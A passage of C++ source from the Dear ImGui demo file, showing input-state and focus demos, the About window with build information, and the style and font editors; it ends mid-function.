ImGuiIO& io = ImGui::GetIO();
// Display ImGuiIO output flags
ImGui::Text("WantCaptureMouse: %d", io.WantCaptureMouse);
ImGui::Text("WantCaptureKeyboard: %d", io.WantCaptureKeyboard);
ImGui::Text("WantTextInput: %d", io.WantTextInput);
ImGui::Text("WantSetMousePos: %d", io.WantSetMousePos);
ImGui::Text("NavActive: %d, NavVisible: %d", io.NavActive, io.NavVisible);
// Display Keyboard/Mouse state
if (ImGui::TreeNode("Keyboard, Mouse & Navigation State"))
{
if (ImGui::IsMousePosValid())
ImGui::Text("Mouse pos: (%g, %g)", io.MousePos.x, io.MousePos.y);
else
ImGui::Text("Mouse pos: <INVALID>");
ImGui::Text("Mouse delta: (%g, %g)", io.MouseDelta.x, io.MouseDelta.y);
ImGui::Text("Mouse down:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (io.MouseDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("b%d (%.02f secs)", i, io.MouseDownDuration[i]); }
ImGui::Text("Mouse clicked:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); }
ImGui::Text("Mouse dblclick:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseDoubleClicked(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); }
ImGui::Text("Mouse released:"); for (int i = 0; i < IM_ARRAYSIZE(io.MouseDown); i++) if (ImGui::IsMouseReleased(i)) { ImGui::SameLine(); ImGui::Text("b%d", i); }
ImGui::Text("Mouse wheel: %.1f", io.MouseWheel);
ImGui::Text("Keys down:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (io.KeysDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("%d (0x%X) (%.02f secs)", i, i, io.KeysDownDuration[i]); }
ImGui::Text("Keys pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyPressed(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); }
ImGui::Text("Keys release:"); for (int i = 0; i < IM_ARRAYSIZE(io.KeysDown); i++) if (ImGui::IsKeyReleased(i)) { ImGui::SameLine(); ImGui::Text("%d (0x%X)", i, i); }
ImGui::Text("Keys mods: %s%s%s%s", io.KeyCtrl ? "CTRL " : "", io.KeyShift ? "SHIFT " : "", io.KeyAlt ? "ALT " : "", io.KeySuper ? "SUPER " : "");
ImGui::Text("Chars queue:"); for (int i = 0; i < io.InputQueueCharacters.Size; i++) { ImWchar c = io.InputQueueCharacters[i]; ImGui::SameLine(); ImGui::Text("\'%c\' (0x%04X)", (c > ' ' && c <= 255) ? (char)c : '?', c); } // FIXME: We should convert 'c' to UTF-8 here but the functions are not public.
ImGui::Text("NavInputs down:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputs[i] > 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f", i, io.NavInputs[i]); }
ImGui::Text("NavInputs pressed:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] == 0.0f) { ImGui::SameLine(); ImGui::Text("[%d]", i); }
ImGui::Text("NavInputs duration:"); for (int i = 0; i < IM_ARRAYSIZE(io.NavInputs); i++) if (io.NavInputsDownDuration[i] >= 0.0f) { ImGui::SameLine(); ImGui::Text("[%d] %.2f", i, io.NavInputsDownDuration[i]); }
ImGui::Button("Hovering me sets the\nkeyboard capture flag");
if (ImGui::IsItemHovered())
ImGui::CaptureKeyboardFromApp(true);
ImGui::SameLine();
ImGui::Button("Holding me clears the\nthe keyboard capture flag");
if (ImGui::IsItemActive())
ImGui::CaptureKeyboardFromApp(false);
ImGui::TreePop();
}
if (ImGui::TreeNode("Tabbing"))
{
ImGui::Text("Use TAB/SHIFT+TAB to cycle through keyboard editable fields.");
static char buf[32] = "hello";
ImGui::InputText("1", buf, IM_ARRAYSIZE(buf));
ImGui::InputText("2", buf, IM_ARRAYSIZE(buf));
ImGui::InputText("3", buf, IM_ARRAYSIZE(buf));
ImGui::PushAllowKeyboardFocus(false);
ImGui::InputText("4 (tab skip)", buf, IM_ARRAYSIZE(buf));
//ImGui::SameLine(); HelpMarker("Use ImGui::PushAllowKeyboardFocus(bool) to disable tabbing through certain widgets.");
ImGui::PopAllowKeyboardFocus();
ImGui::InputText("5", buf, IM_ARRAYSIZE(buf));
ImGui::TreePop();
}
if (ImGui::TreeNode("Focus from code"))
{
bool focus_1 = ImGui::Button("Focus on 1"); ImGui::SameLine();
bool focus_2 = ImGui::Button("Focus on 2"); ImGui::SameLine();
bool focus_3 = ImGui::Button("Focus on 3");
int has_focus = 0;
static char buf[128] = "click on a button to set focus";
if (focus_1) ImGui::SetKeyboardFocusHere();
ImGui::InputText("1", buf, IM_ARRAYSIZE(buf));
if (ImGui::IsItemActive()) has_focus = 1;
if (focus_2) ImGui::SetKeyboardFocusHere();
ImGui::InputText("2", buf, IM_ARRAYSIZE(buf));
if (ImGui::IsItemActive()) has_focus = 2;
ImGui::PushAllowKeyboardFocus(false);
if (focus_3) ImGui::SetKeyboardFocusHere();
ImGui::InputText("3 (tab skip)", buf, IM_ARRAYSIZE(buf));
if (ImGui::IsItemActive()) has_focus = 3;
ImGui::PopAllowKeyboardFocus();
if (has_focus)
ImGui::Text("Item with focus: %d", has_focus);
else
ImGui::Text("Item with focus: <none>");
// Use >= 0 parameter to SetKeyboardFocusHere() to focus an upcoming item
static float f3[3] = { 0.0f, 0.0f, 0.0f };
int focus_ahead = -1;
if (ImGui::Button("Focus on X")) { focus_ahead = 0; } ImGui::SameLine();
if (ImGui::Button("Focus on Y")) { focus_ahead = 1; } ImGui::SameLine();
if (ImGui::Button("Focus on Z")) { focus_ahead = 2; }
if (focus_ahead != -1) ImGui::SetKeyboardFocusHere(focus_ahead);
ImGui::SliderFloat3("Float3", &f3[0], 0.0f, 1.0f);
ImGui::TextWrapped("NB: Cursor & selection are preserved when refocusing last used item in code.");
ImGui::TreePop();
}
if (ImGui::TreeNode("Dragging"))
{
ImGui::TextWrapped("You can use ImGui::GetMouseDragDelta(0) to query for the dragged amount on any widget.");
for (int button = 0; button < 3; button++)
{
ImGui::Text("IsMouseDragging(%d):", button);
ImGui::Text(" w/ default threshold: %d,", ImGui::IsMouseDragging(button));
ImGui::Text(" w/ zero threshold: %d,", ImGui::IsMouseDragging(button, 0.0f));
ImGui::Text(" w/ large threshold: %d,", ImGui::IsMouseDragging(button, 20.0f));
}
ImGui::Button("Drag Me");
if (ImGui::IsItemActive())
ImGui::GetForegroundDrawList()->AddLine(io.MouseClickedPos[0], io.MousePos, ImGui::GetColorU32(ImGuiCol_Button), 4.0f); // Draw a line between the button and the mouse cursor
// Drag operations gets "unlocked" when the mouse has moved past a certain threshold
// (the default threshold is stored in io.MouseDragThreshold). You can request a lower or higher
// threshold using the second parameter of IsMouseDragging() and GetMouseDragDelta().
ImVec2 value_raw = ImGui::GetMouseDragDelta(0, 0.0f);
ImVec2 value_with_lock_threshold = ImGui::GetMouseDragDelta(0);
ImVec2 mouse_delta = io.MouseDelta;
ImGui::Text("GetMouseDragDelta(0):");
ImGui::Text(" w/ default threshold: (%.1f, %.1f)", value_with_lock_threshold.x, value_with_lock_threshold.y);
ImGui::Text(" w/ zero threshold: (%.1f, %.1f)", value_raw.x, value_raw.y);
ImGui::Text("io.MouseDelta: (%.1f, %.1f)", mouse_delta.x, mouse_delta.y);
ImGui::TreePop();
}
if (ImGui::TreeNode("Mouse cursors"))
{
const char* mouse_cursors_names[] = { "Arrow", "TextInput", "ResizeAll", "ResizeNS", "ResizeEW", "ResizeNESW", "ResizeNWSE", "Hand", "NotAllowed" };
IM_ASSERT(IM_ARRAYSIZE(mouse_cursors_names) == ImGuiMouseCursor_COUNT);
ImGuiMouseCursor current = ImGui::GetMouseCursor();
ImGui::Text("Current mouse cursor = %d: %s", current, mouse_cursors_names[current]);
ImGui::Text("Hover to see mouse cursors:");
ImGui::SameLine(); HelpMarker(
"Your application can render a different mouse cursor based on what ImGui::GetMouseCursor() returns. "
"If software cursor rendering (io.MouseDrawCursor) is set ImGui will draw the right cursor for you, "
"otherwise your backend needs to handle it.");
for (int i = 0; i < ImGuiMouseCursor_COUNT; i++)
{
char label[32];
sprintf(label, "Mouse cursor %d: %s", i, mouse_cursors_names[i]);
ImGui::Bullet(); ImGui::Selectable(label, false);
if (ImGui::IsItemHovered() || ImGui::IsItemFocused())
ImGui::SetMouseCursor(i);
}
ImGui::TreePop();
}
}
}
//-----------------------------------------------------------------------------
// [SECTION] About Window / ShowAboutWindow()
// Access from Dear ImGui Demo -> Tools -> About
//-----------------------------------------------------------------------------
void ImGui::ShowAboutWindow(bool* p_open)
{
if (!ImGui::Begin("About Dear ImGui", p_open, ImGuiWindowFlags_AlwaysAutoResize))
{
ImGui::End();
return;
}
ImGui::Text("Dear ImGui %s", ImGui::GetVersion());
ImGui::Separator();
ImGui::Text("By Omar Cornut and all Dear ImGui contributors.");
ImGui::Text("Dear ImGui is licensed under the MIT License, see LICENSE for more information.");
static bool show_config_info = false;
ImGui::Checkbox("Config/Build Information", &show_config_info);
if (show_config_info)
{
ImGuiIO& io = ImGui::GetIO();
ImGuiStyle& style = ImGui::GetStyle();
bool copy_to_clipboard = ImGui::Button("Copy to clipboard");
ImVec2 child_size = ImVec2(0, ImGui::GetTextLineHeightWithSpacing() * 18);
ImGui::BeginChildFrame(ImGui::GetID("cfg_infos"), child_size, ImGuiWindowFlags_NoMove);
if (copy_to_clipboard)
{
ImGui::LogToClipboard();
ImGui::LogText("```\n"); // Back quotes will make text appears without formatting when pasting on GitHub
}
ImGui::Text("Dear ImGui %s (%d)", IMGUI_VERSION, IMGUI_VERSION_NUM);
ImGui::Separator();
ImGui::Text("sizeof(size_t): %d, sizeof(ImDrawIdx): %d, sizeof(ImDrawVert): %d", (int)sizeof(size_t), (int)sizeof(ImDrawIdx), (int)sizeof(ImDrawVert));
ImGui::Text("define: __cplusplus=%d", (int)__cplusplus);
#ifdef IMGUI_DISABLE_OBSOLETE_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_OBSOLETE_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_WIN32_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_WIN32_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_FILE_FUNCTIONS
ImGui::Text("define: IMGUI_DISABLE_FILE_FUNCTIONS");
#endif
#ifdef IMGUI_DISABLE_DEFAULT_ALLOCATORS
ImGui::Text("define: IMGUI_DISABLE_DEFAULT_ALLOCATORS");
#endif
#ifdef IMGUI_USE_BGRA_PACKED_COLOR
ImGui::Text("define: IMGUI_USE_BGRA_PACKED_COLOR");
#endif
#ifdef _WIN32
ImGui::Text("define: _WIN32");
#endif
#ifdef _WIN64
ImGui::Text("define: _WIN64");
#endif
#ifdef __linux__
ImGui::Text("define: __linux__");
#endif
#ifdef __APPLE__
ImGui::Text("define: __APPLE__");
#endif
#ifdef _MSC_VER
ImGui::Text("define: _MSC_VER=%d", _MSC_VER);
#endif
#ifdef __MINGW32__
ImGui::Text("define: __MINGW32__");
#endif
#ifdef __MINGW64__
ImGui::Text("define: __MINGW64__");
#endif
#ifdef __GNUC__
ImGui::Text("define: __GNUC__=%d", (int)__GNUC__);
#endif
#ifdef __clang_version__
ImGui::Text("define: __clang_version__=%s", __clang_version__);
#endif
ImGui::Separator();
ImGui::Text("io.BackendPlatformName: %s", io.BackendPlatformName ? io.BackendPlatformName : "NULL");
ImGui::Text("io.BackendRendererName: %s", io.BackendRendererName ? io.BackendRendererName : "NULL");
ImGui::Text("io.ConfigFlags: 0x%08X", io.ConfigFlags);
if (io.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) ImGui::Text(" NavEnableKeyboard");
if (io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) ImGui::Text(" NavEnableGamepad");
if (io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) ImGui::Text(" NavEnableSetMousePos");
if (io.ConfigFlags & ImGuiConfigFlags_NavNoCaptureKeyboard) ImGui::Text(" NavNoCaptureKeyboard");
if (io.ConfigFlags & ImGuiConfigFlags_NoMouse) ImGui::Text(" NoMouse");
if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) ImGui::Text(" NoMouseCursorChange");
if (io.MouseDrawCursor) ImGui::Text("io.MouseDrawCursor");
if (io.ConfigMacOSXBehaviors) ImGui::Text("io.ConfigMacOSXBehaviors");
if (io.ConfigInputTextCursorBlink) ImGui::Text("io.ConfigInputTextCursorBlink");
if (io.ConfigWindowsResizeFromEdges) ImGui::Text("io.ConfigWindowsResizeFromEdges");
if (io.ConfigWindowsMoveFromTitleBarOnly) ImGui::Text("io.ConfigWindowsMoveFromTitleBarOnly");
if (io.ConfigWindowsMemoryCompactTimer >= 0.0f) ImGui::Text("io.ConfigWindowsMemoryCompactTimer = %.1ff", io.ConfigWindowsMemoryCompactTimer);
ImGui::Text("io.BackendFlags: 0x%08X", io.BackendFlags);
if (io.BackendFlags & ImGuiBackendFlags_HasGamepad) ImGui::Text(" HasGamepad");
if (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) ImGui::Text(" HasMouseCursors");
if (io.BackendFlags & ImGuiBackendFlags_HasSetMousePos) ImGui::Text(" HasSetMousePos");
if (io.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset) ImGui::Text(" RendererHasVtxOffset");
ImGui::Separator();
ImGui::Text("io.Fonts: %d fonts, Flags: 0x%08X, TexSize: %d,%d", io.Fonts->Fonts.Size, io.Fonts->Flags, io.Fonts->TexWidth, io.Fonts->TexHeight);
ImGui::Text("io.DisplaySize: %.2f,%.2f", io.DisplaySize.x, io.DisplaySize.y);
ImGui::Text("io.DisplayFramebufferScale: %.2f,%.2f", io.DisplayFramebufferScale.x, io.DisplayFramebufferScale.y);
ImGui::Separator();
ImGui::Text("style.WindowPadding: %.2f,%.2f", style.WindowPadding.x, style.WindowPadding.y);
ImGui::Text("style.WindowBorderSize: %.2f", style.WindowBorderSize);
ImGui::Text("style.FramePadding: %.2f,%.2f", style.FramePadding.x, style.FramePadding.y);
ImGui::Text("style.FrameRounding: %.2f", style.FrameRounding);
ImGui::Text("style.FrameBorderSize: %.2f", style.FrameBorderSize);
ImGui::Text("style.ItemSpacing: %.2f,%.2f", style.ItemSpacing.x, style.ItemSpacing.y);
ImGui::Text("style.ItemInnerSpacing: %.2f,%.2f", style.ItemInnerSpacing.x, style.ItemInnerSpacing.y);
if (copy_to_clipboard)
{
ImGui::LogText("\n```\n");
ImGui::LogFinish();
}
ImGui::EndChildFrame();
}
ImGui::End();
}
//-----------------------------------------------------------------------------
// [SECTION] Style Editor / ShowStyleEditor()
//-----------------------------------------------------------------------------
// - ShowStyleSelector()
// - ShowFontSelector()
// - ShowStyleEditor()
//-----------------------------------------------------------------------------
// Demo helper function to select among default colors. See ShowStyleEditor() for more advanced options.
// Here we use the simplified Combo() api that packs items into a single literal string.
// Useful for quick combo boxes where the choices are known locally.
bool ImGui::ShowStyleSelector(const char* label)
{
static int style_idx = -1;
if (ImGui::Combo(label, &style_idx, "Classic\0Dark\0Light\0"))
{
switch (style_idx)
{
case 0: ImGui::StyleColorsClassic(); break;
case 1: ImGui::StyleColorsDark(); break;
case 2: ImGui::StyleColorsLight(); break;
}
return true;
}
return false;
}
// Demo helper function to select among loaded fonts.
// Here we use the regular BeginCombo()/EndCombo() api which is more the more flexible one.
void ImGui::ShowFontSelector(const char* label)
{
ImGuiIO& io = ImGui::GetIO();
ImFont* font_current = ImGui::GetFont();
if (ImGui::BeginCombo(label, font_current->GetDebugName()))
{
for (int n = 0; n < io.Fonts->Fonts.Size; n++)
{
ImFont* font = io.Fonts->Fonts[n];
ImGui::PushID((void*)font);
if (ImGui::Selectable(font->GetDebugName(), font == font_current))
io.FontDefault = font;
ImGui::PopID();
}
ImGui::EndCombo();
}
ImGui::SameLine();
HelpMarker(
"- Load additional fonts with io.Fonts->AddFontFromFileTTF().\n"
"- The font atlas is built when calling io.Fonts->GetTexDataAsXXXX() or io.Fonts->Build().\n"
"- Read FAQ and docs/FONTS.md for more details.\n"
"- If you need to add/remove fonts at runtime (e.g. for DPI change), do it before calling NewFrame().");
}
// [Internal] Display details for a single font, called by ShowStyleEditor().
static void NodeFont(ImFont* font)
{
ImGuiIO& io = ImGui::GetIO();
ImGuiStyle& style = ImGui::GetStyle();
bool font_details_opened = ImGui::TreeNode(font, "Font: \"%s\"\n%.2f px, %d glyphs, %d file(s)",
font->ConfigData ? font->ConfigData[0].Name : "", font->FontSize, font->Glyphs.Size, font->ConfigDataCount);
ImGui::SameLine(); if (ImGui::SmallButton("Set as default")) { io.FontDefault = font; }
if (!font_details_opened)
return;
ImGui::PushFont(font);
ImGui::Text("The quick brown fox jumps over the lazy dog");
ImGui::PopFont();
ImGui::DragFloat("Font scale", &font->Scale, 0.005f, 0.3f, 2.0f, "%.1f"); // Scale only this font
ImGui::SameLine(); HelpMarker(
"Note than the default embedded font is NOT meant to be scaled.\n\n"
"Font are currently rendered into bitmaps at a given size at the time of building the atlas. "
"You may oversample them to get some flexibility with scaling. "
"You can also render at multiple sizes and select which one to use at runtime.\n\n"
"(Glimmer of hope: the atlas system will be rewritten in the future to make scaling more flexible.)");
ImGui::Text("Ascent: %f, Descent: %f, Height: %f", font->Ascent, font->Descent, font->Ascent - font->Descent);
ImGui::Text("Fallback character: '%c' (U+%04X)", font->FallbackChar, font->FallbackChar);
ImGui::Text("Ellipsis character: '%c' (U+%04X)", font->EllipsisChar, font->EllipsisChar);
const int surface_sqrt = (int)sqrtf((float)font->MetricsTotalSurface);
ImGui::Text("Texture Area: about %d px ~%dx%d px", font->MetricsTotalSurface, surface_sqrt, surface_sqrt);
for (int config_i = 0; config_i < font->ConfigDataCount; config_i++)
if (font->ConfigData)
if (const ImFontConfig* cfg = &font->ConfigData[config_i])
ImGui::BulletText("Input %d: \'%s\', Oversample: (%d,%d), PixelSnapH: %d, Offset: (%.1f,%.1f)",
config_i, cfg->Name, cfg->OversampleH, cfg->OversampleV, cfg->PixelSnapH, cfg->GlyphOffset.x, cfg->GlyphOffset.y);
if (ImGui::TreeNode("Glyphs", "Glyphs (%d)", font->Glyphs.Size))
{
// Display all glyphs of the fonts in separate pages of 256 characters
const ImU32 glyph_col = ImGui::GetColorU32(ImGuiCol_Text);
for (unsigned int base = 0; base <= IM_UNICODE_CODEPOINT_MAX; base += 256)
{
// Skip ahead if a large bunch of glyphs are not present in the font (test in chunks of 4k)
// This is only a small optimization to reduce the number of iterations when IM_UNICODE_MAX_CODEPOINT
// is large // (if ImWchar==ImWchar32 we will do at least about 272 queries here)
if (!(base & 4095) && font->IsGlyphRangeUnused(base, base + 4095))
{
base += 4096 - 256;
continue;
}
int count = 0;
for (unsigned int n = 0; n < 256; n++)
if (font->FindGlyphNoFallback((ImWchar)(base + n)))
count++;
if (count <= 0)
continue;
if (!ImGui::TreeNode((void*)(intptr_t)base, "U+%04X..U+%04X (%d %s)", base, base + 255, count, count > 1 ? "glyphs" : "glyph"))
continue;
float cell_size = font->FontSize * 1;
float cell_spacing = style.ItemSpacing.y;
ImVec2 base_pos = ImGui::GetCursorScreenPos();
ImDrawList* draw_list = ImGui::GetWindowDrawList();
for (unsigned int n = 0; n < 256; n++)
{
// We use ImFont::RenderChar as a shortcut because we don't have UTF-8 conversion functions
// available here and thus cannot easily generate a zero-terminated UTF-8 encoded string.
ImVec2 cell_p1(base_pos.x + (n % 16) * (cell_size + cell_spacing), base_pos.y + (n / 16) * (cell_size + cell_spacing));
ImVec2 cell_p2(cell_p1.x + cell_size, cell_p1.y + cell_size);
const ImFontGlyph* glyph = font->FindGlyphNoFallback((ImWchar)(base + n));
draw_list->AddRect(cell_p1, cell_p2, glyph ? IM_COL32(255, 255, 255, 100) : IM_COL32(255, 255, 255, 50));
if (glyph)
font->RenderChar(draw_list, cell_size, cell_p1, glyph_col, (ImWchar)(base + n));
if (glyph && ImGui::IsMouseHoveringRect(cell_p1, cell_p2))
{
ImGui::BeginTooltip();
ImGui::Text("Codepoint: U+%04X", base + n);
ImGui::Separator();
ImGui::Text("Visible: %d", glyph->Visible);
ImGui::Text("AdvanceX: %.1f", glyph->AdvanceX);
ImGui::Text("Pos: (%.2f,%.2f)->(%.2f,%.2f)", glyph->X0, glyph->Y0, glyph->X1, glyph->Y1);
ImGui::Text("UV: (%.3f,%.3f)->(%.3f,%.3f)", glyph->U0, glyph->V0, glyph->U1, glyph->V1);
ImGui::EndTooltip();
}
}
ImGui::Dummy(ImVec2((cell_size + cell_spacing) * 16, (cell_size + cell_spacing) * 16));
ImGui::TreePop();
}
ImGui::TreePop();
}
ImGui::TreePop();
}
void ImGui::ShowStyleEditor(ImGuiStyle* ref)
{
// You can pass in a reference ImGuiStyle structure to compare to, revert to and save to
// (without a reference style pointer, we will use one compared locally as a reference)
ImGuiStyle& style = ImGui::GetStyle();
static ImGuiStyle ref_saved_style;
// Default to using internal storage as reference
static bool init = true;
if (init && ref == NULL)
ref_saved_style = style;
init = false;
if (ref == NULL)
ref = &ref_saved_style;
ImGui::PushItemWidth(ImGui::GetWindowWidth() * 0.50f);
if (ImGui::ShowStyleSelector("Colors##Selector"))
ref_saved_style = style;
ImGui::ShowFontSelector("Fonts##Selector");
// Simplified Settings (expose floating-pointer border sizes as boolean representing 0.0f or 1.0f)
if (ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f"))
style.GrabRounding = style.FrameRounding; // Make GrabRounding always the same value as FrameRounding
{ bool border = (style.WindowBorderSize > 0.0f); if (ImGui::Checkbox("WindowBorder", &border)) { style.WindowBorderSize = border ? 1.0f : 0.0f; } }
ImGui::SameLine();
{ bool border = (style.FrameBorderSize > 0.0f); if (ImGui::Checkbox("FrameBorder", &border)) { style.FrameBorderSize = border ? 1.0f : 0.0f; } }
ImGui::SameLine();
{ bool border = (style.PopupBorderSize > 0.0f); if (ImGui::Checkbox("PopupBorder", &border)) { style.PopupBorderSize = border ? 1.0f : 0.0f; } }
// Save/Revert button
if (ImGui::Button("Save Ref"))
*ref = ref_saved_style = style;
ImGui::SameLine();
if (ImGui::Button("Revert Ref"))
style = *ref;
ImGui::SameLine();
HelpMarker(
"Save/Revert in local non-persistent storage. Default Colors definition are not affected. "
"Use \"Export\" below to save them somewhere.");
ImGui::Separator();
if (ImGui::BeginTabBar("##tabs", ImGuiTabBarFlags_None))
{
if (ImGui::BeginTabItem("Sizes"))
{
ImGui::Text("Main");
ImGui::SliderFloat2("WindowPadding", (float*)&style.WindowPadding, 0.0f, 20.0f, "%.0f");
ImGui::SliderFloat2("FramePadding", (float*)&style.FramePadding, 0.0f, 20.0f, "%.0f");
ImGui::SliderFloat2("ItemSpacing", (float*)&style.ItemSpacing, 0.0f, 20.0f, "%.0f");
ImGui::SliderFloat2("ItemInnerSpacing", (float*)&style.ItemInnerSpacing, 0.0f, 20.0f, "%.0f");
ImGui::SliderFloat2("TouchExtraPadding", (float*)&style.TouchExtraPadding, 0.0f, 10.0f, "%.0f");
ImGui::SliderFloat("IndentSpacing", &style.IndentSpacing, 0.0f, 30.0f, "%.0f");
ImGui::SliderFloat("ScrollbarSize", &style.ScrollbarSize, 1.0f, 20.0f, "%.0f");
ImGui::SliderFloat("GrabMinSize", &style.GrabMinSize, 1.0f, 20.0f, "%.0f");
ImGui::Text("Borders");
ImGui::SliderFloat("WindowBorderSize", &style.WindowBorderSize, 0.0f, 1.0f, "%.0f");
ImGui::SliderFloat("ChildBorderSize", &style.ChildBorderSize, 0.0f, 1.0f, "%.0f");
ImGui::SliderFloat("PopupBorderSize", &style.PopupBorderSize, 0.0f, 1.0f, "%.0f");
ImGui::SliderFloat("FrameBorderSize", &style.FrameBorderSize, 0.0f, 1.0f, "%.0f");
ImGui::SliderFloat("TabBorderSize", &style.TabBorderSize, 0.0f, 1.0f, "%.0f");
ImGui::Text("Rounding");
ImGui::SliderFloat("WindowRounding", &style.WindowRounding, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("ChildRounding", &style.ChildRounding, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("PopupRounding", &style.PopupRounding, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("ScrollbarRounding", &style.ScrollbarRounding, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("GrabRounding", &style.GrabRounding, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("LogSliderDeadzone", &style.LogSliderDeadzone, 0.0f, 12.0f, "%.0f");
ImGui::SliderFloat("TabRounding", &style.TabRounding, 0.0f, 12.0f, "%.0f");
ImGui::Text("Alignment");
ImGui::SliderFloat2("WindowTitleAlign", (float*)&style.WindowTitleAlign, 0.0f, 1.0f, "%.2f");
int window_menu_button_position = style.WindowMenuButtonPosition + 1;
if (ImGui::Combo("WindowMenuButtonPosition", (int*)&window_menu_button_position, "None\0Left\0Right\0"))
style.WindowMenuButtonPosition = window_menu_button_position - 1;
ImGui::Combo("ColorButtonPosition", (int*)&style.ColorButtonPosition, "Left\0Right\0");
ImGui::SliderFloat2("ButtonTextAlign", (float*)&style.ButtonTextAlign, 0.0f, 1.0f, "%.2f");
ImGui::SameLine(); HelpMarker("Alignment applies when a button is larger than its text content.");
ImGui::SliderFloat2("SelectableTextAlign", (float*)&style.SelectableTextAlign, 0.0f, 1.0f, "%.2f");
ImGui::SameLine(); HelpMarker("Alignment applies when a selectable is larger than its text content.");
ImGui::Text("Safe Area Padding");
ImGui::SameLine(); HelpMarker("Adjust if you cannot see the edges of your screen (e.g. on a TV where scaling has not been configured).");
ImGui::SliderFloat2("DisplaySafeAreaPadding", (float*)&style.DisplaySafeAreaPadding, 0.0f, 30.0f, "%.0f");
ImGui::EndTabItem();
}
if (ImGui::BeginTabItem("Colors"))
{
static int output_dest = 0;
static bool output_only_modified = true;
if (ImGui::Button("Export"))
{
if (output_dest == 0)
ImGui::LogToClipboard();
else
ImGui::LogToTTY();
ImGui::LogText("ImVec4* colors = ImGui::GetStyle().Colors;" IM_NEWLINE);
for (int i = 0; i < ImGuiCol_COUNT; i++)
{
const ImVec4& col = style.Colors[i];
const char* name = ImGui::GetStyleColorName(i);
if (!output_only_modified || memcmp(&col, &ref->Colors[i], sizeof(ImVec4)) != 0)
ImGui::LogText("colors[ImGuiCol_%s]%*s= ImVec4(%.2ff, %.2ff, %.2ff, %.2ff);" IM_NEWLINE,
name, 23 - (int)strlen(name), "", col.x, col.y, col.z, col.w);
}
ImGui::LogFinish();
}
ImGui::SameLine(); ImGui::SetNextItemWidth(120); ImGui::Combo("##output_type", &output_dest, "To Clipboard\0To TTY\0");
ImGui::SameLine(); ImGui::Checkbox("Only Modified Colors", &output_only_modified);
static ImGuiTextFilter filter;
filter.Draw("Filter colors", ImGui::GetFontSize() * 16);
static ImGuiColorEditFlags alpha_flags = 0;
if (ImGui::RadioButton("Opaque", alpha_flags == ImGuiColorEditFlags_None)) { alpha_flags = ImGuiColorEditFlags_None; } ImGui::SameLine();
if (ImGui::RadioButton("Alpha", alpha_flags == ImGuiColorEditFlags_AlphaPreview)) { alpha_flags = ImGuiColorEditFlags_AlphaPreview; } ImGui::SameLine();
if (ImGui::RadioButton("Both", alpha_flags == ImGuiColorEditFlags_AlphaPreviewHalf)) { alpha_flags = ImGuiColorEditFlags_AlphaPreviewHalf; } ImGui::SameLine();
HelpMarker(
"In the color list:\n"
"Left-click on colored square to open color picker,\n"
"Right-click to open edit options menu.");
ImGui::BeginChild("##colors", ImVec2(0, 0), true, ImGuiWindowFlags_AlwaysVerticalScrollbar | ImGuiWindowFlags_AlwaysHorizontalScrollbar | ImGuiWindowFlags_NavFlattened);
ImGui::PushItemWidth(-160);
for (int i = 0; i < ImGuiCol_COUNT; i++)
{
const char* name = ImGui::GetStyleColorName(i);
if (!filter.PassFilter(name))
continue;
ImGui::PushID(i);
ImGui::ColorEdit4("##color", (float*)&style.Colors[i], ImGuiColorEditFlags_AlphaBar | alpha_flags);
if (memcmp(&style.Colors[i], &ref->Colors[i], sizeof(ImVec4)) != 0)
{
// Tips: in a real user application, you may want to merge and use an icon font into the main font,
// so instead of "Save"/"Revert" you'd use icons!
// Read the FAQ and docs/FONTS.md about using icon fonts. It's really easy and super convenient!
ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Save")) { ref->Colors[i] = style.Colors[i]; }
